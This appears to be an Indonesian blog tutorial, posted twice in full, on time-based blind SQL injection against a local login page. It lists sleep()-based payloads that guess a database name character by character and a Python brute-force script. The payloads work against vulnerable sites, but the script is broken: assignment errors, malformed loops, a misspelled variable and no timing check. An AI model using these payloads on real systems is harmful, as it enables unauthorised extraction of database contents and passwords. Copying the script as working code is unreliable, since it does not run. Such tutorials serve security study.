Halaman

    Social Items


BLIND SQL Injection berbasis waktu (time-based)


Sama seperti contoh kasus sebelumnya, jika belum membaca bisa klik link di bawah sini 
hanya saja perbedaannya BLIND kali ini menggunakan waktu atau based time, menunggu beberapa detik untuk mengetahui benar atau salahnya.
Jadi untuk membedakan benar atau salah kita memanfaatkan waktu. Misalkan jika pernyataan benar maka kita tunda eksekusinya 3 detik. Dengan fungsi Sleep(3) dan jika salah tidak di apa apakan. Dalam kasus ini saya mempunyai database dengan nama ‘blog’
Dengan kode program di bawah ini :

xyz’OR IF(1=1, sleep(3), 0) - - 

Dan akan menunggu selama 3 detik dulu. Menunggu respon sesuai dari program. Karena barbasis waktu kita perlu menunggu dan juga kita sulit membedakan itu waktu koneksi (koneksi yang bermasalah) atau webnya ‘sleep’.

Sekarang kita akan coba Brute Force, prinsipnya sama dengan blind SQLi. Dengan kode program di bawah ini :

xyz’OR IF(substring(database(), 1, 1)= ‘a’, sleep(3), 0) - -

jika di submit maka akan muncul “login sedang disable”


Disini bisa di ketahui bahwa huruf a bukan dari nama depan database target, selanjutnya bisa langsung mencoba dengan huruf selanjutnya.

xyz’OR IF(substring(database(), 1, 1)= ‘b’, sleep(3), 0) - -

jika di masukkan ‘b’ akan muncul


Bisa di lihat di kursor dia akan melambar selama 3 detik, jika. Dia melambat selama 3 detik berarti bisa di ketahui bahwa huruf depan dalam database adalah ‘b’, selanjutnya lakukan pengimputan huruf ke 2 sampai selesai. Dengan kode program seperti :

xyz’OR IF(substring(database(), 2, 1)= ‘a’, sleep(3), 0) - -

lakukan hingga selesai.

Ada cara yang lebih mudah sama seperti metode bling yang sebelumnya dengan menggunakan script Phyton, jadi akan muncul secara otomatis dan tidak di input satu satu dalam form login.
Buat program baru, lalu masukkan kode program seperti ini :

import requests
import sys
import time
url : ‘http://localhost/blog/andmin_login.php’   //ini adalah url targetnya
for c in range 1, 20);
for c in range(0x20, 0x7f);

username = “xyz’ OR IF(BINARY substring(database(), %d, 1) = ‘%s’ , sleep(3), 0) - - “ %(i, (chr(c))
password = “12345” //option saja bebas di isi apa saja

form =  {‘username’ : uisername, ‘password’ :password, ‘submit’ : ‘Login’} //bisa dilihat dari formnya
response = requests.post(url, data =form)
print ‘’

dengan kode program di atas kita bisa mengetahui nama database secra otomatis, dengan menjalankan terminal/cmd. Maka akan ditampilkan seperti ini :


Dan selain bisa tahu nama databasenya, kita juga bisa mengetahui user, kolom, password apa saja yang ada di dalam database tersebut.



SQL Injection Metode BLIND Berbasis Waktu (Time-Based)


BLIND SQL Injection berbasis waktu (time-based)


Sama seperti contoh kasus sebelumnya, jika belum membaca bisa klik link di bawah sini 
hanya saja perbedaannya BLIND kali ini menggunakan waktu atau based time, menunggu beberapa detik untuk mengetahui benar atau salahnya.
Jadi untuk membedakan benar atau salah kita memanfaatkan waktu. Misalkan jika pernyataan benar maka kita tunda eksekusinya 3 detik. Dengan fungsi Sleep(3) dan jika salah tidak di apa apakan. Dalam kasus ini saya mempunyai database dengan nama ‘blog’
Dengan kode program di bawah ini :

xyz’OR IF(1=1, sleep(3), 0) - - 

Dan akan menunggu selama 3 detik dulu. Menunggu respon sesuai dari program. Karena barbasis waktu kita perlu menunggu dan juga kita sulit membedakan itu waktu koneksi (koneksi yang bermasalah) atau webnya ‘sleep’.

Sekarang kita akan coba Brute Force, prinsipnya sama dengan blind SQLi. Dengan kode program di bawah ini :

xyz’OR IF(substring(database(), 1, 1)= ‘a’, sleep(3), 0) - -

jika di submit maka akan muncul “login sedang disable”


Disini bisa di ketahui bahwa huruf a bukan dari nama depan database target, selanjutnya bisa langsung mencoba dengan huruf selanjutnya.

xyz’OR IF(substring(database(), 1, 1)= ‘b’, sleep(3), 0) - -

jika di masukkan ‘b’ akan muncul


Bisa di lihat di kursor dia akan melambar selama 3 detik, jika. Dia melambat selama 3 detik berarti bisa di ketahui bahwa huruf depan dalam database adalah ‘b’, selanjutnya lakukan pengimputan huruf ke 2 sampai selesai. Dengan kode program seperti :

xyz’OR IF(substring(database(), 2, 1)= ‘a’, sleep(3), 0) - -

lakukan hingga selesai.

Ada cara yang lebih mudah sama seperti metode bling yang sebelumnya dengan menggunakan script Phyton, jadi akan muncul secara otomatis dan tidak di input satu satu dalam form login.
Buat program baru, lalu masukkan kode program seperti ini :

import requests
import sys
import time
url : ‘http://localhost/blog/andmin_login.php’   //ini adalah url targetnya
for c in range 1, 20);
for c in range(0x20, 0x7f);

username = “xyz’ OR IF(BINARY substring(database(), %d, 1) = ‘%s’ , sleep(3), 0) - - “ %(i, (chr(c))
password = “12345” //option saja bebas di isi apa saja

form =  {‘username’ : uisername, ‘password’ :password, ‘submit’ : ‘Login’} //bisa dilihat dari formnya
response = requests.post(url, data =form)
print ‘’

dengan kode program di atas kita bisa mengetahui nama database secra otomatis, dengan menjalankan terminal/cmd. Maka akan ditampilkan seperti ini :


Dan selain bisa tahu nama databasenya, kita juga bisa mengetahui user, kolom, password apa saja yang ada di dalam database tersebut.



Tidak ada komentar